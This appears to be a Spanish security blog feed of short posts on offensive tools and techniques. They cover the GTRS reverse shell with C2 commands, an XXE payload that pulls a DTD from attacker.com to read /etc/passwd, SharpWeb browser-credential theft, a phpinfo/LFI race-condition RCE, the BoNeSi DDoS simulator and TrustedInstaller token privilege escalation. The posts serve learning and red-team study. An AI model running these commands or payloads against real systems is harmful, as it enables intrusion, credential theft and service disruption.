GTRS: Google Translator Reverse Shell

Matheus Bernardes ha publicado una curiosa herramienta escrita principalmente en Go que utiliza Google Translator como un proxy para enviar comandos arbitrarios a una máquina infectada.
Para probarlo simplemente necesitaremos un VPS con un dominio que hará las veces de C2. Ejecutamos el script del servidor:

python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062

Como veis, el resultado de la ejecución del script nos dará una clave secreta que deberemos usar en el cliente. Este cliente podremos encontrarlo en Go o en Bash:

Cliente bash

Ejecutamos el cliente en un equipo con acceso a Google Translator, proporcionando el dominio y la clave secreta generada por el servidor.

bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

Ahora tenemos una shell interactiva que usa "named pipes" y, si, podemos hacer cd en los directorios.

Cliente Go

Primero debemos descargar el archivo binario o compilarlo, luego el proceso es igual al del cliente bash:

./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

Con este cliente tenemos la posibilidad de ejecutarlo en Linux, Mac y Windows, pero el cliente todavía no tiene una shell interactiva.

PoC


Proyecto: https://github.com/mthbernardes/GTRS

Explotando XXE con archivos DTD locales

Arseniy Sharoglazov ha ideado una técnica para explotar XXE mediante archivos DTD locales.
Imaginemos que tenemos un XXE. Se soportan External entities pero la respuesta del servidor está siempre vacía. En este caso tenemos dos opciones: explotación basada en error o out-of-band. 

Veamos un ejemplo basado en error:

 Petición
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Respuesta
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

Contenidos de ext.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Como veis estamos utilizando un servidor externo para la entrega del payload.

¿Qué podemos hacer si hay un firewall entre nosotros y el servidor de destino? ¡Nada! Pero, ¿qué pasa si simplemente colocamos el contenido del DTD externo directamente en el DOCTYPE?

SharpWeb: un proyecto en .NET 2.0 para obtener las contraseñas guardadas en Google Chrome, Mozilla Firefox y Microsoft Internet Explorer/Edge

SharpWeb es una herramienta escrita por Dwight Hohnstein compatible con .NET 2.0 CLR que puede recuperar logins guardados de Google Chrome, Firefox, Internet Explorer y Microsoft Edge.

Este proyecto utiliza un parser de SQLite compatible con .NET 2.0 CLR de @plainprogrammer y un parser de ASN y helper de criptografía de @gourk para descifrar y analizar los archivos de login de FireFox.

En el futuro, este proyecto se ampliará para recuperar elementos de Cookies e Historial de estos navegadores.

Usage:

    .\SharpWeb.exe arg0 [arg1 arg2 ...]

Arguments:
    all       - Retrieve all Chrome, FireFox and IE/Edge credentials.
    full      - The same as 'all'
    chrome    - Fetch saved Chrome logins.
    firefox   - Fetch saved FireFox logins.
    edge      - Fetch saved Internet Explorer/Microsoft Edge logins.

Ejemplo: Obtención de credenciales de todos los navegadores

.\SharpWeb.exe all

Ejemplo: Obtención de credenciales de Edge y Firefox

.\SharpWeb.exe edge firefox


Proyecto: https://github.com/djhohnstein/SharpWeb

De una condición de carrera + LFI en phpinfo() a RCE

El indonesio Agus Setya R publicó una interesante técnica mediante la cual conseguía un RCE explotando una condición de carrera en phpinfo() en conjunción con un LFI.

¿Por qué puede ser peligrosa una simple página phpinfo()? Además de contener información muy sensible del servidor, resulta que phpinfo también puede manejar peticiones http como POST, GET, FILES y otros. Si enviamos una petición FILES a phpinfo, la petición se guardará en un archivo temporal durante un periodo de tiempo muy corto.

Gynvael Coldwind escribió un impresionante artículo sobre una Condición de Carrera que puede ser explotada usando la función de Subida de Archivos en PHP. Por cierto, php 5.5.9 es vulnerable a este problema.

Si cargamos un archivo, los datos se almacenan en un archivo temporal. Es decir, podemos insertar un archivo y luego llamar al archivo utilizando una vulnerabilidad del tipo LFI (Inclusión de archivos locales). Sin embargo, este proceso debe realizarse en un tiempo muy, muy rápido, antes de que el sistema elimine automáticamente el archivo temporal.
Archivo temporal creado como resultado de subir en phpinfo.

El escenario de ataque necesita por tanto multihilo para que el proceso llevado a cabo por el script del exploit pueda ser muy rápido. Lo que se hace es crear archivos temporales los cuales seguramente no se acumularán en el servidor porque en segundos desaparecerán rápidamente. En el proceso, se realiza una petición utilizando el LFI. Si de uno de los archivos temporales se llama con éxito entonces basta con que sea nuestro payload para obtener la preciada shell.

Writeup: http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
Exploit Code: https://gist.githubusercontent.com/intrd/35483ae252c66ee3d11f7acfa7379749/raw/76488b0d95a9fd7e5a2bd3c8bbc929a45590238f/phpinfo_exploit.py
Fuente: https://medium.com/@agussetyar/local-file-inclusion-via-phpinfo-exploit-race-condition-to-remote-code-execution-6d5470445afe

BoNeSi: simular una botnet para pruebas DDoS

BoNeSi es una herramienta para simular el tráfico de una Botnet con el objetivo de estudiar el efecto de los ataques DDoS.

¿Qué tráfico puede generar? Pues BoNeSi genera ataques de flooding ICMP, UDP y TCP (HTTP) simulando ser una botnet de un tamaño definido (diferentes direcciones IP). BoNeSi es altamente configurable y se pueden configurar distintos ratios, volumen de datos, direcciones IP de origen, URL y otros parámetros.

¿Qué lo hace diferente de otras herramientas? Existen muchas otras herramientas para falsificar direcciones IP con UDP e ICMP, pero para TCP no existe una solución. BoNeSi es la primera herramienta para simular floods HTTP-GET de redes de bots a gran escala. BoNeSi también trata de evitar generar paquetes con patrones fáciles de identificar (que se pueden filtrar fácilmente).

¿Dónde se puede ejecutar BoNeSi? Hasta su autor, Markus Goldstein, recomienda encarecidamente ejecutar BoNeSi en un entorno de prueba cerrado. Sin embargo, los ataques UDP e ICMP también pueden ejecutarse en Internet, pero se debe tener cuidado. Los ataques HTTP-Flooding no se pueden simular en Internet, porque las respuestas del servidor web deben enrutarse al host que ejecuta BoNeSi.

¿Cómo funciona TCP Spoofing? BoNeSi busca paquetes TCP en la interfaz de red y responde a todos los paquetes para establecer conexiones TCP. Para esta función, es necesario que todo el tráfico del servidor web de destino se enrute de nuevo al host que ejecuta BoNeSi

¿Qué tan bueno es el rendimiento de BoNeSi? Se centran mucho en el rendimiento para simular grandes botnets. En un AMD Opteron con 2Ghz pudieron generar hasta 150.000 paquetes por segundo. En un AMD Phenom II X6 1100T más reciente con 3,3 Ghz, puede generar 300.000 pps (que se ejecutan en 2 cores).

¿Son exitosos los ataques BoNeSi? Sí, son muy exitosos. Los ataques UDP/ICMP pueden saturar fácilmente el ancho de banda y los ataques HTTP-Flooding tiran rápidamente los servidores web. También probaron BoNeSi contra sistemas de mitigación DDoS comerciales de última generación y pudieron bloquearlos u ocultar el ataque para que no fuera detectado.

[HTB-writeup] Hawk

En este post haremos la máquina Hawk de HackTheBox. Es una maquina Linux de nivel medio. Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Enumeración

Como siempre, lo primero sera un escaneo puertos con nmap:

nmap 10.10.10.102


Antes de nada vamos a echarle un ojo a la web:


Es un drupal, antes de seguir indagando en esto vamos a revisar otros servicios.

GetSystem() - TrustedInstaller (Parte 2)

Hola! retomamos la impersonalización. Conociendo ya como trabaja el servicio TrustedInstaller, ahora es sencillo de entender como podemos conseguir ser "NT System" en nuestra máquina desde un usuario administrador.

Como primer apunte, TI no es un servicio PPL (Protected Process Light), sin embargo, el grupo al que pertenece posee permisos para parar y borrar otros servicios PPL, encontrándose este extraño "bug" en los límites de seguridad, y como tal no ha sido corregido.

Para estas pruebas es necesario instalar el módulo NtObjectManager en nuestra máquina:
Éste añade distintos cmdlets para poder acceder al espacio de nombres del administrador de objetos NT.

Desde una consola de administrador, abrimos el proceso TI y comprobamos con SeDebugPrivilege si el token esta "abierto".

PS C:\> Install-Module -Name NtObjectManager
PS C:\> Set-NtTokenPrivilege SeDebugPrivilege


El padre de nuestro nuevo proceso es el que llama al CreateProcess, sin embargo, UAC trata a todos los procesos elevados como si fueran procesos hijos del servicio de UAC. Si no se especifica un token, el nuevo proceso lo heredará del padre asignado. El único requisito para esto es que el identificador del proceso que usamos como padre debe tener la propiedad de derechos de acceso PROCESS_CREATE_PROCESS.

Con SeDebugPrivilege podemos obtener acceso completo al proceso de TI, incluido el derecho a crear nuevos procesos secundarios a partir de él.

Set-NtTokenPrivilege SeDebugPrivilege
Start-Service TrustedInstaller
$p = Get-NtProcess -Name TrustedInstaller.exe
$t = $p.OpenToken()
$t.Groups | Where-Object {$_.Sid.Name -match 'TrustedInstaller'}

GetSystem() - TrustedInstaller (Parte 1)

Como es bien sabido, una de las técnicas más utilizadas para la elevación de privilegios es mediante el "abuso" de Tokens y ACL (Access Control List) dentro nuestro querido Microsoft Windows. En este post hablaré un poco acerca del servicio de instalación de módulos TrustedInstaller.exe, que forma parte del WRP (Windows Resource Protection) disponible desde los tiempos de Windows Vista.

Esta protección es la encargada de restringir el acceso a ciertos archivos del core del sistema, carpetas y claves de registro, además de impedir que archivos .dll, .exe, .ocx y .sys se modifiquen o se reemplacen.

Echando un rápido vistazo a las propiedades de la calculadora, vemos que el control total sobre esta recae sobre nuestro amigo TrustedInstaller:


Mientras que nosotros, siendo administradores, no podemos modificar el archivo ni procesos que corren sobre ésta, pertenecientes al NT System.

[ebook gratuito] "Practical Cryptography for Developers"

Criptografía practica para Desarrolladores, en inglés 'Practical Cryptography for Developers', es un libro práctico y moderno con ejemplos de código, que abarca conceptos básicos como: hashes (como SHA-3 y BLAKE2), códigos MAC (HMAC y GMAC), funciones de derivación de clave (Scrypt, Argon2), protocolos de acuerdo de clave (DHKE, ECDH), cifrados simétricos (AES y ChaCha20, modos de bloque de cifrado, cifrado autenticado, AEAD, AES-GCM, ChaCha20-Poly1305), cifrados asimétricos y criptografía de clave pública (ECC, secp256k1, curve25519), firmas digitales (ECDSA y EdDSA), números aleatorios seguros (PRNG, CSRNG) y criptografía de seguridad cuántica, junto con bibliotecas criptográficas y herramientas de desarrollo, con muchos ejemplos de código en Python y otros lenguajes.

Autor: Svetlin Nakov, PhD - http://www.nakov.com

Web: https://cryptobook.nakov.com/

Repo GitHub oficial: https://github.com/nakov/practical-cryptography-for-developers-book

Sheepl: crear un comportamiento de usuario realista en entornos de laboratorio

Hay muchos recursos online relacionados con la forma en que se pueden crear entornos de red de DA para la formación de red teams y blue teams. Sin embargo, las soluciones actuales tienden a carecer de un aspecto importante al representar configuraciones de red del mundo real. Una red no es solo una colección de puntos finales estáticos, es una plataforma para la comunicación entre personas.

Sheepl es una herramienta que ha creado SpiderLabs que apunta a cerrar la brecha emulando el comportamiento que las personas normalmente emprenden dentro de un entorno de red. Se trata de un script en Python3 y AutoIT3, este último -por si alguno no lo conocía- un lenguaje freeware multipropósito de automatización para Microsoft Windows. La salida se puede compilar en un ejecutable sin dependencias (standalone) que cuando se ejecuta en un punto final de Windows, llama a un conjunto de tareas aleatoriamente en el periodo de tiempo deseado.

Para los red teamers, esto puede servir para representar ciertos momentos oportunos para practicar. Para los blue teamers, esto es compatible con la detección de indicadores de actividad maliciosos dentro de una secuencia de tareas de usuario benignas.

Sheepl tiene dos modos de funcionamiento, en línea de comandos o interactivo, la primera se puede usar como parte de una solución de scripting más amplia y la segunda permite crear tareas en un enfoque de preguntas/respuestas.

Ejemplos

python3 sheepl.py --name TBone --total_time=2h --wordfile "c:\\users\\matt\\Desktop\\matt.doc" --inputtext "content/if.txt" --cmd --cc "ipconfig /all" --cc "whoami" --cc "netstat -anto -p tcp"')

python3 sheepl.py --interactive

En el siguiente video se muestra una descripción general de la versión beta de Sheepl 0.1:


Repositorio: https://github.com/SpiderLabs/sheepl